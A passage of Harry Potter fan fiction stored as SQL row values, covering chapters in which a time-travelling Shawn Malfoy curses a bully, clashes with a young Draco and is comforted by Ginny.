first place - he was to darn nice to be in that house! </p><p>"Class. You have half an hour. You may begin now." </p><p>"So, did you finish your Transfiguration homework yet?" asked Natalie as she carefully chopped up their ingredients. </p><p>"Yeah, but I had a hard time finding a good hiding place for it." said Ricky, making a face as he read through the instructions. </p><p>"Well...I guess it\'s not your fault that all Slytherins are lazy." teased Natalie. </p><p>"Thanks a lot." he replied wryly. </p><p>"Hey, freak." sneered a voice in front of them suddenly. </p><p>Natalie\'s eyes narrowed as she glared at Karl. He was the unofficial leader of the Slytherin Fifth Years and his favorite hobby was insulting her whenever it seemed that Professor Snape or any other teacher was out of hearing. </p><p>"Hey, Anderson, I wouldn\'t be so chummy with the Mudblood-loving Gryff if I were you. It might rub off on you." </p><p>"Get lost." said Natalie coldly. </p><p>"It\'s a free country - and what are you going to do? In case you haven\'t noticed, Weasel seems to prefer Loony Lovegood over you." </p><p>Karl smirked as her slowly reddening face. Ricky faced a hand on Natalie\'s shoulder, "Ignore him, Nat." </p><p>However, Natalie had other ideas. Grabbing a wormroot from the pile, she chucked it straight at the back of Karl\'s head. Unfortunately, Karl saw it coming and ducked quickly. Giving Natalie a superior smirk, he turned and... </p><p>BOOM! </p><p>Apparently, the wormroot had landed in his potion instead. Natalie and Ricky both jerked backwards as the liquid in cauldron exploded, splattering Karl, his partner and the few Slytherins around them in bright neon pink. </p><p>She gave Ricky an innocent look, "Oh, did I do that?" </p><p>"Natalie..." groaned her partner. </p><p>"Nice." Ginny said appreciatively from beside Natalie, "Couldn\'t have done a better job myself." </p><p>"WHAT just happened here?!" Severus was back - and he was certainly not pleased to see a quarter of his room spattered in bright neon pink. </p><p>Karl pointed an accusatory finger at Natalie, "She threw something into my potion!" </p><p>"Prove it." said Natalie smugly. </p><p>"Why you little-" </p><p>"Oh yeah, you started it, you creep-" </p><p>Severus knew he was going to get a headache if they continued. "That\'s it!" he roared. "Palmer! Destraine! BOTH of you have detention!" </p><p>There was an abrupt silence before Natalie jumped up. </p><p>"Yahoo!!" she cheered, pumping her fist into the air. </p><p>Only Ginny and Ricky understood the reason behind their friend\'s joyfulness. The rest of the class just looked at her as though she had grown another head. </p><p>"And you - wipe that smile off your face." Severus growled at Natalie. </p><p>*********************************** </p><p>"Figures that you would be the one jumping for joy after the Professor gives you a detention." remarked Ricky as they headed to the library to work on their report. </p><p>"Well, it\'s Potions...." said Natalie and then she grinned evilly, "Maybe I can convince Dad to have him scrub the cauldrons without magic!" </p><p>"What about you?" </p><p>"He\'ll probably just get me to mark some essays for him or something like that....Destraine looks real nice in neon pink, doesn\'t he?" </p><p>"Better than usual." replied Rick good naturely, "But then he\'s bound to be in a foul mood for the rest of the week. You better watch out for him." he warned. </p><p>"Don\'t worry, I can take care of myself fine." she said reassuringly. </p><p>Her partner didn\'t look convinced. </p><p>**************************************** </p><p>Meanwhile, in the Slytherin common rooms, a dark-haired girl stared moodily into the fire. Blaise Zambini was having a horrible day indeed. </p><p>When she was getting ready that morning, she discovered to her dismay that one of the other girls had used up all of her eyeshadow! As if that wasn\'t enough, she spotted Draco, her Draco disappearing with the Weaselette just before lunch time! </p><p>Blaise was deep in thought when another blond made his way into the common room. She looked at him out of the corner of her eye without much interest. This must be the new student - so she had been told - and Draco\'s new roommate. He was only a third year, Blaise mused, but he was kind of cute. </p><p>Suddenly, an idea struck her. Nobody (except a certain Malfoy) could resist her charms afterall...and it was winter break. Most people were leaving anyways, so why not have some fun? It would be amusing to have him trailing after her like some kind of lovesick puppy - and then she could just brush him off at the right intervals... Maybe Draco would even get jealous and ask her out again! </p><p>A satisfied smile slowly appeared on Blaise\'s face as she followed the blond\'s movements. Yes, this was perfect. </p><p>However, as Shawn gathered his books and made his way out to meet Ben and Nina, he failed to notice the dark-haired girl who was steadily watching his every move. </p><p>************************************* </p><p>The plot thickens (kind of). ^.~ </p><p>Coming up in later chapters: Blaise is going to try and seduce Shawn, Draco finds out something about his new roommate and Ben finds himself the victim of an overzealous crush. Also, Elddir finally makes his first move! '),
	(204, 8, 'Off-Limits by Blue Lady <p>At first, I was going to go over the following scene two times, once in Shawn\'s POV and the other in Draco\'s POV. However, since I know some readers really dislike reading the same scene two times in a row, I\'ve combined it into one scene. I hope nobody gets too confused. As usual, I don\'t own Harry Potter. </p><p>Chapter 8: Malfoy vs. Destraine </p><p>Shawn Malfoy had only been at Hogwarts for less then a week - and he had already made himself a new mortal enemy. Well, not exactly new, considering the fact that their family rivalry stretched back decades, but still. </p><p>Luis Destraine was Karl Destraine\'s younger brother and a pain in the ass. </p><p>It had all started when Luis had sneered at him for hanging around with the "mudblood-loving Griffs" and then the bloody bloke had tried to kiss Nina! Then he had the nerve to insult his father! All this resulted in a very pissed-off Malfoy and added to the stress and guilt he had been suffering from ever since he had left his own time, it was enough to tip him over the edge. </p><p>Of course, he shouldn\'t have been terribly surprised. The Destraine and Malfoy family had never gotten along very well, especially since Lucius Malfoy had Karl Destraine Sr. kicked out of Voldemort\'s Inner Circle before Draco was even born. Needless to say, it had taken the Destraines a lot of time and energy to get back in the Dark Lord\'s good graces. </p><p>However, since the Destraines insisted him on making him a member of his family about a decade ahead of time, he supposed that he might as well enjoy it. </p><p>On that particular day, he had only been walking around with Ben when they heard a familiar shriek followed by a resounding SLAP. </p><p>Ben\'s face went pale. "Nina!" </p><p>Shawn raced off after his friend towards the direction of the sound only to skidd to a stop when a flash of black ran straight into Ben\'s arms. </p><p>"What happened?" Ben asked his sister quietly. Shawn noticed that she was still clinging onto her brother tightly, although she seemed to calm down more now that Ben was here. </p><p>"I was just walking to the library when I felt somebody following me." she whispered. </p><p><i>At first, she had dismissed it, feeling that it was probably just nerves. However, the feeling increased and Nina tried to lose them. Just when she thought she had succeeded, she felt a hand latching tightly onto her wrist.</i> </p><p><i>She looked up and her eyes widened. "You!"</i> </p><p><i>"What?" Luis Destraine smirked, "Never seen a Slytherin before?"</i> </p><p><i>Nina tried to wretch her arm from his iron-like grasp, but his smirk just widened. "Are you in a hurry to get somewhere?"</i> </p><p><i>"Yes!" hissed Nina, "Far away from you."</i> </p><p><i>"That\'s a shame," he moved his face closer to hers, "Because I don\'t think I\'m done yet."</i> </p><p><i>"Let me go right now or I\'ll-"</i> </p><p><i>"Scream? That\'s too bad, baby, I know this school better than you do and I know for a fact that this is one of the most infrequently used corridors at Hogswarts."</i> </p><p><i>"Besides," Nina could feel his breath on the side of her face now, "I can show you a better time than that blond snobby airhead you seem to like for some odd reason."</i> </p><p><i>Nina stood absolutely still and as he loosened his grip on her arm, she immediately wretched her arms away and slapped him across the face with all the strength she could muster. "That was for implying that I would even consider liking slime like you." she hissed and then she kicked his ankle, hard. "And that was for insulting Shawn."</i> </p><p><i>Luis took on a murderous expression as he rubbed his ankle. However, Nina was already running towards her brother who had suddenly appeared in the nick of time...</i> </p><p>"I am going to make sure he dies a painful death." Ben\'s voice was cold. He had promised his parents that he would take care of his sister and he would make sure he did by cursing the imbecile that had dared to touch his sister into utter obviation. </p><p>"Get in line." growled Shawn, "It\'s about time I settled some things with the slimy git over there." Rolling up his sleeve, he started forward toward the other boy. </p><p>However, Luis\'s smirk only widened. Shawn itched to wipe that smirk off his face, once and for all. Unfortunately... </p><p>"What\'s going on here?" cut in an obnoxious voice. Shawn snarled - Karl had arrived. </p><p>Luis waved a hand lazily at the trio. "Oh, I was just minding my own business when the chick there literally threw herself at me. There was something about her boyfriend there being a total sissy and how she wanted to get to know a real man." </p><p>Nina felt like gagging. Meanwhile, Shawn\'s expression was rapidly approaching the same intensity as that of a thundercloud as the other boy continued. </p><p>Luis ignored her, "Then her boyfriend showed up and she started acting as though I were the one putting on the moves instead of her." Shawn closed his eyes and took a deep breath to refrain himself from socking the other boy in the jaw right there and then. </p><p>Karl smiled knowingly, "Lucky for all of you I came just in time. Since fighting is against the rules, 10 points off from Gryffindor." He looked at Shawn, "As for you, we\'ll have to see what Professor Snape has to say about this." </p><p>If looks could kill, Karl would have been dead ten times already. </p><p>"Not happy?" mocked the older boy, "What are you going to do? Run and tell Drakkie that big bad Karl Destraine\'s been threatening you?" </p><p>********************************* </p><p>Draco had been writing his History of Magic essay when something compelled him to stop. </p><p>It was as though someone was beckoning him. At first, he tried ignoring this, but a few minutes later, he threw his quill down in frustration as he looked at what he had written. </p><p>One of the main figures in the 1276 Goblin Rebellions was Anni of Indipea, who was rumoured to be the most beautiful witch of her time, although I\'m sure that her hair wasn\'t nearly as nice and smooth as Ginny\'s... </p><p>"I. Need. Major. Help." thought Draco and he tried to erase that last line. However, the beckoning increased and he gave up. </p><p>Stalking out of his room, he felt something dragging him towards the West side of the castle. "This better be good." he thought irritably. </p><p>"I don\'t know how you do it Malfoy, but if I walked around with my eyes closed, I\'m sure I would have smacked into a few walls already." remarked a voice a few minutes later. </p><p>"It\'s a gift, Potter." said Draco, his eyes still closed, "And Weasley, stop glaring at me." </p><p>Ron scowled. </p><p>"So what the heck are you doing?" asked Harry curiously. <br/> <br/>\n "I don\'t know. I feel something pulling me..." Draco trailed off as his ring started to glow. The pull increased and Draco was literally dragged through the hallways by an invisible force. </p><p>"Never thought I\'d see the day when Malfoy went loony." remarked Ron to Harry as they ran after him, "Maybe it runs in the family." </p><p>"To a certain extent," Harry replied dryly, "Sirius turned out okay, even if Snape doesn\'t agree." </p><p>Three hallways and two turns later, they found Draco leaning against the wall, looking around. </p><p>"What\'s so..." Ron started. </p><p>"Shut up!" </p><p>Ron started to retort, but Harry stopped him. "Let\'s see what\'s happening first." </p><p>************************** </p><p>"I can take care of my own fights." said Shawn quietly, but the evil intent underneath his words was visible to both his friends, "Leave Draco out of this." </p><p>"Is that a challenge, Parker?" sneered Luis. </p><p>"It\'s whatever you think it is." An odd gleam appeared in Shawn\'s brown eyes. </p><p>"A fifth year against a third year? I don\'t think that\'s really fair." </p><p>"Why? Are you chicken, Destraine? Heaven knows your father was, considering the way he conveniently freaks out whenever he so much as sees his boss, not that I blame him," Shawn smiled thinly, "Considering the fact that old Voldie is in need of some plastic surgery." </p><p>A pink flush appeared simultaneously on the face of both the Destraine siblings. </p><p>"As if your precious Drakkie\'s much better," sneered Luis, "I hate to break it to you, but he\'s a chicken! He was so scared of the Dark Lord that he ran away screaming like a girl the first time he saw him!" </p><p>Ron snickered, but he quickly shut up when he found a wand pointed two inches from his face. </p><p>"It really is pathetic. Everyone thinks that he\'s some kind of hotshot, the freaking prince of Slytherin! I wonder what people\'ll think if that story ever got out." </p><p>"Remember that ferret incident two years ago? That was hilarious!" added Luis, giving his brother a nudge, "Draco Malfoy the Amazing Bouncing Ferret!" </p><p>Harry heard someone growl beside him and he quickly grabbed onto the back of Draco\'s robe as the blond started around the corner. "Let me go, Potter!" snarled Draco, "When I\'m done with him, he\'ll have trouble recognizing his own mother-" Harry yanked him back. </p><p>"What are you doing?" he hissed, "I thought you were the one that wanted to listen in!" </p><p>"Fine, but when I get my hands on those two...." Draco chuckled unpleasantly, a dangerous gleam appearing in his silver eyes. </p><p>Meanwhile, Ben and Nina were watching the events unfolding in front of them uneasily. </p><p>"Ben, I don\'t like this." Nina told her brother in a hushed voice. "I don\'t think Shawn\'s going to last any longer." </p><p>"And we both know what happened the last time," Ben rolled his eyes, "C\'mon, let\'s get him out of here." </p><p>Shawn snarled when Nina latched onto his right arm and his best friend grabbed ahold of his other arm, "What do you think YOU TWO ARE DOING??!" </p><p>"Saving you from yourself." said Ben grimly. Like it or not, Shawn was Lucius Malfoy\'s grandson and sometimes there was no telling what he would do when he was angry; experience told him that angering a Malfoy was not a wise decision. </p><p>"Yeah, listen to the green-eyed freak beside you. I bet you\'re just like Draco - all talk and no action." </p><p>Shawn had reached his limit. Roughly shaking Ben and Nina\'s hands off of him, he stormed forward. </p><p>"I think it\'s about time I followed up on some of my threats then," Shawn gave the siblings an evil grin. "So, you think Draco and I are pathetic?" </p><p>"In addition to being total losers? Yes. You want me to repeat that?" </p><p>"No, that won\'t be necessary," said Shawn softly and then he started chanting a spell under his breath. </p><p>Meanwhile, Draco\'s hands tightened as he thought of all the various curses and hexes he itched to use on the Destraines right there and then. Only there was the problem of finding the one which would cause the most pain and last the longest. It really was a shame that the Cruciatus curse was illegal. </p><p>"What was that? I can\'t hear you." Luis smirked. He failed to notice that the ring Shawn wore on his left hand had begun to glow a bright neon green color. </p><p>However, the blond just smiled knowingly and raised his hand before a powerful burst of energy burst forward from his fingertips. </p><p>Quick reflexes ensured that Karl only got singed slightly in the process, but his brother wasn\'t so lucky. Luis\'s mouth opened, but no sound came out before his eyes rolled into the back of his head. His whole body went rigid and then he toppled over, face forward. </p><p>All within the space of a few seconds. </p><p>Shawn looked down emotionlessly as Karl kneeled beside his brother. </p><p>"You killed him!" roared the other boy roared, glaring at Shawn with unmistakable fury in his eyes. </p><p>"I wish I had," Shawn rolled his eyes, "It would have been a step towards achiving world peace." </p><p>"I\'m going to have you thrown in Azkaban for this." snarled Karl. </p><p>To Draco\'s surprise, Shawn just threw his head back and laughed. "I\'d like to see you try, Destraine." </p><p>"And just what do you find so amusing?" </p><p>"This curse, which I have just had the pleasure of testing out on your brother, is not known to the Ministry of Magic." </p><p>"Get to the point already!" </p><p>"And ruin my good mood? Are you crazy?" Shawn smirked, "I haven\'t had this much fun in ages!" </p><p>"He\'s gone bonkers." whispered Ron from his hiding place behind Harry and Draco. </p><p>Karl gripped his wand so tightly that his knuckles were turning white. "Give me the countercurse. NOW!" </p><p>However, Shawn just wagged a finger at him. "Now, now, mustn\'t be impatient now, Destraine." </p><p>"You don\'t know who you\'re up against, Parker," Karl said slowly, the threat evident in his voice. </p><p>"Actually, that\'s Malfoy to you." Shawn smiled evilly, "And so far the score is Malfoy 2, Destraine 0." </p><p>"Malfoy?!" </p><p>This was echoed by Harry and Ron as they stared at Draco with amazed expressions on their faces. </p><p>"What?!" asked Draco defensively upon seeing the uneasy looks on Ron and Harry\'s faces. </p><p>"I didn\'t know that you had other relatives." said Harry duly. </p><p>"Hey, it\'s not like anyone bothered to inform me that I had a long lost brother." said Draco moodily as he turned back to the conversation around the corner. "And you being Black\'s godson doesn\'t make you my relative either!" </p><p>"Who on Earth would want to be related to you?" muttered Ron. </p><p>"The feeling\'s mutual, Weasley." sneered Draco as they turned back to the conversation in front of them. </p><p>Shawn rolled his eyes, "Just because Lucius got himself killed doesn\'t mean that you can push the rest of us around." He couldn\'t resist another jab at the other boy. "And I\'ve heard that the Dark Lord isn\'t too happy with your father these days..." </p><p>"Leave my father out of this." </p><p>"Then leave mine out of it!" </p><p>Karl looked at though he wanted to retort, but all he gritted out was, "What\'s the countercurse?" </p><p>"Sorry," an apologetic expression appeared on Shawn\'s face, although his eyes told a different story, "My father never told me what it was. I think that Draco might know though." </p><p>The other boy remained silent. </p><p>Shawn turned to walk away, but he stopped and said coldly, "When your brother awakens, tell him to keep his hands to himself before I make him an appointment to have a few important organs removed." </p><p>And with that the blond disappeared around a corner. Nina started to go after him, but a hand on her shoulder restrained her. </p><p>"Typical Malfoy behavior." muttered Ron. </p><p>"You want me to make an appointment for you, Weasley?" </p><p>"Sod off, Malfoy." </p><p>If looks could kill, Shawn would have been dead already. But seeing as there was nothing he could do before he got the countercurse, Karl sighed and lifted his brother up, ignoring the Potter siblings. </p><p>"Why are we still standing here?" demanded Nina as Karl stormed away, "I want to see if Shawn\'s alright." </p><p>"I think we should give him some time to himself first." Ben said quietly, "He just took a huge risk there by telling them his real identity." </p><p>Nina gave an involuntary shudder. "Shawn has more of his grandfather in him than he realizes." she said, turning to her brother. </p><p>"I know. Draco has it too." said Ben softly and then he sighed, "I don\'t know if they can ever escape Lucius\' legacy." </p><p>Draco blinked as the two of them walked off. How did they know so much about him? And the kid was a Malfoy?! What the hell... If this continued, he would be getting one major headache soon. </p><p>"Well, that was interesting." commented Harry dryly, "It seems that we have another Malfoy in our midst." </p><p>He looked at Draco out of the corner of his eye, "You think he\'s a spy?" </p><p>Draco thought for a moment and shrugged, "I don\'t think so...but he is a Malfoy, that I know." </p><p>"And what makes you so sure?" cut in Ron. </p><p>"Weasley, what you fail to appreciate is the fact that only people with Malfoy blood can perform that spell." <br/> <br/>\n "Do you Malfoys always have to be so damn special?" grumbled Ron. </p><p>Harry gave his friend a warning glance, "How does it work?" </p><p>Draco rolled his eyes, "The ring he has on his third finger is what intensified that curse he just threw at Luis Destraine. As well, the ring itself is a priceless family heirloom..." </p><p>"Maybe it got stolen." </p><p>However, a perplexed expression appeared on Draco\'s face, "...but how can he have it when I\'m the one wearing it?" </p><p>Draco stood in a daze until Harry\'s voice snapped him out of it. "So what would happen if someone who wasn\'t a Malfoy used that curse?" </p><p>"I doubt if the other person would get so much as a nosebleed and Destraine," he gave Ron a meaningful look, "-almost had his head blown off, just in case you didn\'t notice." </p><p>"Great, that means my sister\'s running around with a Malfoy. As if you weren\'t bad enough." </p><p>"Thanks Weasel. I think I feel so much better now." </p><p>*********************************************** </p><p>Guess what happens next. Okay, only some of the events I mentioned at the end of Chapter 7 happened...but hey, I never said that they were going on in the same chapter.... Anyways, review and yeah. :) '),
	(204, 9, 'Off-Limits by Miranda Aurelia (Blue Lady) <p>One of my slightly longer chapters! Don\'t worry, they will be entering the Chamber of Secrets soon, in case anyone thinks that I\'ve forgotten totally about that vital part of the plot in my quest for some more "character interaction". ^.~ </p><p>Sorry for taking so long!! Hopefully not everyone has abandoned this fic yet... </p><p>Chapter 9 </p><p>Two hours later, Shawn\'s mood hadn\'t improved. True, he had managed to curse his father\'s archrival into unconsciousness, but it occurred to him that he should have left out that little part about his parentage. </p><p>The look on Destraine\'s face had been priceless though. </p><p>Shawn had seen them both back in his time and that encounter hadn\'t been pleasant. That afternoon, he had been in Diagon Alley with his father when they had ran into Karl Destraine.... </p><p>*************************** </p><p><i>Flashback</i> </p><p>"Hey Dad, isn\'t that the new racing broom?" a much younger Shawn Malfoy gazed into the window of Quality Quidditch Supplies with awe. </p><p>Behind him, Draco chuckled. </p><p>"It looks like the one Uncle Harry has..." </p><p>"Then we\'re certainly not getting that one." His father replied with a glint in his eyes, "Anything Potter can get, we can get better." </p><p>Shawn raised an eyebrow at his father, "Didn\'t Mom say something about ending that...what did she call it? That stupid, unending rivalry between you and Uncle Ron and Uncle Harry?" </p><p>"No, kid, she told me not to spoil you too much." Draco ruffled his son\'s hair, "Although I don\'t see how buying my son everything he wants is considered spoiling." </p><p>The smirk his son gave him resembled his own. "Yeah, I recall her saying something like that. Something about me turning into an exact copy of you at this age." </p><p>Draco looked scandalized. "And what was wrong with me when I was your age?" he demanded. </p><p>Shawn shrugged his shoulders. "She did mention something along the lines of being an arrogant, immature, stuck-up ferret..." </p><p>His father\'s eyes flashed. "Is that so? Well, your mother and I are definitely going to have a few words..." </p><p>"Not again." thought Shawn, refraining from rolling his eyes. That look on his father\'s face usually meant that his parents would be spending some time together engaged in certain activities which he wasn\'t supposed to know about. </p><p>Shawn shuddered as he thought of what he had personally dubbed the \'incident-that-must-never-ever-be-mentioned-unless-someone-gave-him-a-concussion\' - it was a good thing he hadn\'t seen much, but it didn\'t take a genius to figure out that his parents were obviously doing that so he had wisely bolted to the far end of the Manor before he found himself scarred for life... </p><p>Suddenly, his father\'s grip on his shoulder tightened and the hairs rose up on the back of his neck. </p><p>"If it isn\'t the ferret and his spawn..." He heard a voice sneer. </p><p>"Destraine." Shawn was surprised when his father replied in the same sneering tone, "I thought that you\'d be keeping the Dementors company by now." </p><p>Karl Destraine ignored him. Instead, his eyes fastened malevolently onto Shawn. "So this is what the great Malfoy genes have produced. A mere squib of a boy." </p><p>Shawn bristled at the insult, but luckily Draco was not that easily put off. "Well, then I presume I should congratulate you on having such a lovely daughter." He deliberately stressed the last word. </p><p>"Daughter? When did Marcus become a girl?" Shawn became even more confused as his father started snickering at the darkening expression on Karl\'s face. </p><p>"Malfoy, you are going to learn a very painful lesson soon," snarled Karl, taking a menacing step forward. </p><p>Draco picked Shawn up into his arms, "I wonder what your grandpa will think about that." He told his son before giving his enemy a meaningful look. This was definitely one of the advantages of having the Minister of Magic for a father-in-law. </p><p>Karl clenched and unclenched his fist before he spun on his heel and disappeared around a corner. </p><p>"I think I got it now, Dad," Shawn looked up at his father as they continued in the other direction. </p><p>"Got what?" </p><p>"Marcus being a girl." </p><p>The two of them exchanged a grin before Draco glanced at his watch. "C\'mon kid, we\'ve got to get home soon." </p><p>"So you can stick you tongue down Mom\'s throat again?" muttered Shawn under his breath. </p><p>"What was that?" </p><p>"Nothing." </p><p><i>End Flashback.</i> </p><p>**************************************** </p><p>As Shawn entered the room he shared with Draco, his eyes immediately fell upon his father. </p><p>"Uh oh," he thought inwardly. That posture usually meant that he was in for a huge lecture and if Draco was anything like his future self, that meant that it wouldn\'t be pleasant. </p><p>Draco was the first one to cut into the silence. "I was walking by Flitwick\'s room when I stumbled onto something very interesting." </p><p>Shawn remained silent. </p><p>"Apparently we haven\'t been properly introduced, Mr. Malfoy." It wasn\'t a question. </p><p>The younger boy groaned inwardly. He had two options right now: admit the whole thing or bluff. Turning around slowly, he pretended to scrutinize the empty space behind him before he turned back, raising a questioning eyebrow at Draco. </p><p>The older boy\'s scowl only deepened. After awhile, Shawn finally spoke up. "Look, if you\'re thinking that I\'m possibly related to you in some way-" </p><p>"You are." </p><p>A mirthless chuckle emerged from Shawn\'s lips. "Well, isn\'t this a small world." However, judging from Draco\'s body language, it seemed as though option two would soon get him strangled. He decided to switch to option one. "Shawn." </p><p>"What?" </p><p>"That\'s my name." <br/>\n "Shawn, is it now?" Draco\'s voice was cold, "I should have known that my relatives would side with Lucius. So you\'re the one they sent out...I would have expected you to be a bit more careful about revealing your identity though." </p><p>Silence followed this comment before Shawn finally spoke up. "I\'m not a spy," he said quietly. </p><p>Draco slammed his hand on the desk beside him. "Fake name, sneaking around the castle, not to mention that load of bullshit you must have fed the Headmaster and you\'re telling me you\'re not a spy?!" </p><p>"I\'m here on a mission." </p><p>"To make me pay for saving my own neck, perhaps?" Draco asked sarcastically. "I don\'t think so. If I can kill Lucius, than I can most certainly do the same to you." </p><p>Shawn appeared unfazed. "Is that a threat?" </p><p>"What I mean," Draco continued coldly, "Is I don\'t need some third year brat with a Potter complex getting in my way." </p><p>"Potter complex?!" Shawn spluttered mentally, "Do I look like Harry freaking Potter to you?" </p><p>Draco ignored the glare coming from the other blond, "And stay away from Weasley." </p><p>"No." </p><p>"What did you say?" </p><p>"I said NO!" Shawn had reached the end of his patience. "Now if you can shut up for a second and let me explain!" Without waiting for Draco\'s answer, he continued coldly, "Look, the only thing I lied to you was about my name. Whether you believe it or not, I really am here on a mission and it isn\'t spending my valuable time spying on you! It isn\'t to chase after your girlfriend either, you insufferable prick. It isn\'t my fault she\'s practically the only one that\'s willing to talk to me! As for Destraine, he needed a lesson and I gave it to him. However, since it\'s not bloody likely that you\'re going to believe me, believe whatever the hell you want. And I\'ll have you know if you weren\'t my fa-" He stopped abruptly. </p><p>"Weren\'t what? Family?" Draco spat out the last word, "Don\'t worry, you\'re no family of mine." </p><p>Shawn felt as though he had the wind knocked out of him as those words flowed into his mind. "I wouldn\'t want to be related to you anyways, ferret boy!" he spat out angrily. </p><p>Normally, Shawn would never dream of using this against his father, but today, he was too blind with anger to reason. "Draco Malfoy the Amazing Bouncing Ferret.." He laughed cruelly, "I bet everyone loved that one." <br/>\n Draco\'s eyes flashed angrily and half a second later, Shawn found himself crashing into wall beside the door. As his head started to throb in pain, a pair of black shoes entered his vision. "I would watch that mouth of yours if I were you," Draco said coldly, "Or there will be a ferret running around here soon." </p><p>"I\'m shaking all over," Shawn said sarcastically as he slowly picked himself up off the ground, giving him a baleful glare. <br/>\n "Get out of here." Draco snarled, before he turned away. </p><p>"Gladly." The younger blond didn\'t even spare him a glance before he stormed out, slamming the door behind him. </p><p>****************************************** </p><p>Shawn threw himself wearily onto the couch by the fire. It wasn\'t everyday that he got to see this side of his father and it was certainly the first time that he had had that anger directed at him. He had always grown up being proud of his name. Malfoy. But now, it was his pride and his name that had landed in deep trouble. </p><p>"So much for keeping an eye on Draco," he thought bitterly, "Now I have to keep an eye out <i>for</i> him so he doesn\'t kill me." </p><p>His bitter musing were interrupted as a shadow fell over him and he looked up with a scowl. It was only Blaise though. </p><p>"You must be the new student, right?" Blaise deliberately sat down close to where the younger boy was just enough that her legs brushed against his. </p><p>To her annoyance, he just nodded and continued to stare sulkingly into the fire, not even sparing her a glance. </p><p>"So what\'s a guy like you doing out here all alone?" she asked causally. </p><p>Shawn snorted, "His highness is in a bad mood right now." </p><p>Blaise dismissed this comment with a careless wave of her hand. "Draco\'s always like that. Moody and brooding." </p><p>"Oh?" </p><p>"I should know after all," Blaise continued nonchalantly, "His is my...boyfriend after all." </p><p>To his credit, Shawn did manage to keep the outrage from showing on his face. No matter how much unreasonable his father seemed to be in this time period, Shawn knew for a fact that they would be only one woman in this world good enough for his dad - and it wasn\'t the girl pressing herself shamelessly against him. </p><p>"Shouldn\'t you be in there comforting Draco then?" Shawn asked, sarcasm lining his voice. </p><p>"Later, perhaps." Blaise twirled a lock of her hair around her finger. "Are you busy tonight?" </p><p>Shawn blinked at this abrupt change in topic as he inched away a little on the couch. "Why?" <i>\'Don\'t tell me she\'s thinking what I think she\'s thinking....\'</i> </p><p>"I was wondering if you wanted to visit the Astronomy Tower with me," Her hand, which had been on his shoulder, slowly slid down his back. </p><p>"What about Draco?" Shawn asked calmly. He could feel her warm breath on his face as she leaned in even closer. </p><p>"He doesn\'t have to know," Blaise whispered, her lips brushing his cheek. </p><p>Shawn debated inwardly whether to let her continue, but then the thought of a laughing girl with sparkling emerald green eyes rose unbidden into his mind. Breaking out of his trace, he jumped up so quickly that Blaise toppled over sideways onto the place he had just occupied. </p><p>"Thanks, but no." was his only reply before he sped out of the common room, the wall sliding shut behind him. </p><p>Blaise swore at the blond as he disappeared from sight. She had been so close... </p><p>************************************ </p><p>Meanwhile, Shawn wandered through the halls aimlessly. He wasn\'t looking forward to seeing his father at the present moment and now Blaise was throwing herself at him. He gave a slight shudder. Yes, it was true that Blaise was very attractive, but the fact that she was technically old enough to be his mother was enough to rid him of any possible attraction he may have harbored towards her. Then there was Nina.... </p><p>Personally he thought that it was rather unfortunate that his father had passed on his reputation onto his son. It was enough to make his mother worry that she would be a grandma before his seventeenth birthday. It also didn\'t help the fact that said reputation also discouraged any possible relationship between him and anyone with the surname Potter - not that he liked Nina Potter that way or anything. </p><p>Finally looking at his surroundings, he discovered that he had unconsciously wandered up the stairs to Gryffindor tower. The Fat Lady gave him a suspicious glance, but the portrait still swung open after he dully said the password. </p><p>It was only after he appeared in the portrait hole and all chatter had immediately died away did he finally remember one important fact. He wasn\'t a Gryffindor in this time. </p><p>"Hey Adam," Ben got up from where he had been involved in a game of exploding snap with Harry, "Hey, mate...what\'s wrong?" </p><p>A new voice cut into the silence. "Look," Ron Weasley had gotten up angrily from his seat, "I don\'t know how you got in, but you\'re leaving. Now!" </p><p>Another thing Shawn had trouble getting used to besides his father\'s drastically different personality was having Uncle Ron look at him with such...loathing. </p><p>"Ronald Weasley! You leave him alone!" yelled another voice. </p><p>"But Gin-" </p><p>However, Shawn had already disappeared back outside. Ginny ignored the stares she was receiving from the other students and rushed outside where she found her son slumped against the wall halfway down the hallway. </p><p>"Shawn..." </p><p>Ginny was surprised to say the least when he threw himself straight into her arms, silent tears pouring down his face. Ignoring the shouts that had started from behind the portrait of the Fat Lady, she focused on comforting her son. </p><p>"Shawn, talk to me," she spoke softly, patting his back. </p><p>"Dad\'s mad at me." Shawn\'s voice was muffled from where it was pressed against her shirt. </p><p>"Why Draco\'s always like that!" Ginny spoke to him soothingly, "Don\'t worry, he\'s not one to hold a grudge." </p><p>The only response to that comment was with a snort. </p><p>"Most of the time," His mother hastily corrected before she threw a wary look back at the entrance to Gryffindor tower. "Come, let\'s go somewhere else. I don\'t think Hermione can hold back the calvary much longer. </p><p>************************************ </p><p>"What do you think you\'re doing Hermione?" Ron was almost spitting fire from his eyes. "That Slytherin brat, a Malfoy no less, just barges in here, takes Ginny away and you\'re telling me I can\'t go beat him into a bloody pulp?!" </p><p>"He didn\'t take Ginny away, Ron," Hermione said, exasperated. "Besides, it\'s her business who she decides to talk to." </p><p>"Hermione!" </p><p>"I mean it, Ron." She gave him an exasperated look. "I wish I could tell you what this is all about, but I can\'t." </p><p>Ron opened his mouth to retort but, surprisingly, it was Harry that intervened. "Calm down, mate. Ginny\'s old enough to take care of herself anyway." </p><p>"Am I the only here that hasn\'t been affected by whatever that evil ferret lookalike slipped into your food?!" </p><p>"Ron, we ate the same thing you did." </p><p>"Fine! You\'re under some kind of evil spell!" </p><p>"What kind of spell?" </p><p>"I don\'t know! It\'s some kind of evil spell that makes you...I don\'t know...it makes you want to...to.....to defend Malfoy!" </p><p>Hermione blinked. Seconds later, her mouth started twitching. Soon, she was bursting with laughter and Harry followed her. </p><p>Ron was not amused. "What?! What\'s so funny about that?!" </p><p>**************************************** </p><p>"So the next thing I know, I\'ve pissed Dad off, some girl old enough to be my mother is trying to come onto me, I\'m going to be expelled and when Dumbledore kicks me back into the future, I\'m probably going to get killed by some overzealous Death Eater." Shawn said in an emotionless before he gave his mother a defeated look, "Go ahead. I deserve whatever you feel like throwing at me and I promise I\'ll shut up this time." </p><p>Shawn and Ginny were currently seated in front of a warm fire in the Room of Requirement. With a dejected voice, he had gone over the day\'s events, leaving out nothing, from the confrontation with the Destraine siblings to his unexpected arrival at the entrance of the Gryffindor common room. </p><p>His mother simply shook her head. "I can\'t exactly say that you were thinking properly when you threw that curse at Luis because you weren\'t." However, it wasn\'t necessary for Draco to throw all those accusations at you, not to mention," her brown eyes flared up with anger, "throw that curse at you." </p><p>Shawn felt the back of his head and winced. Ginny cursed Draco again as she moved over and placed her fingers on the bump on her son\'s head. Thank goodness she helped Madam Pomfrey occasionally in the 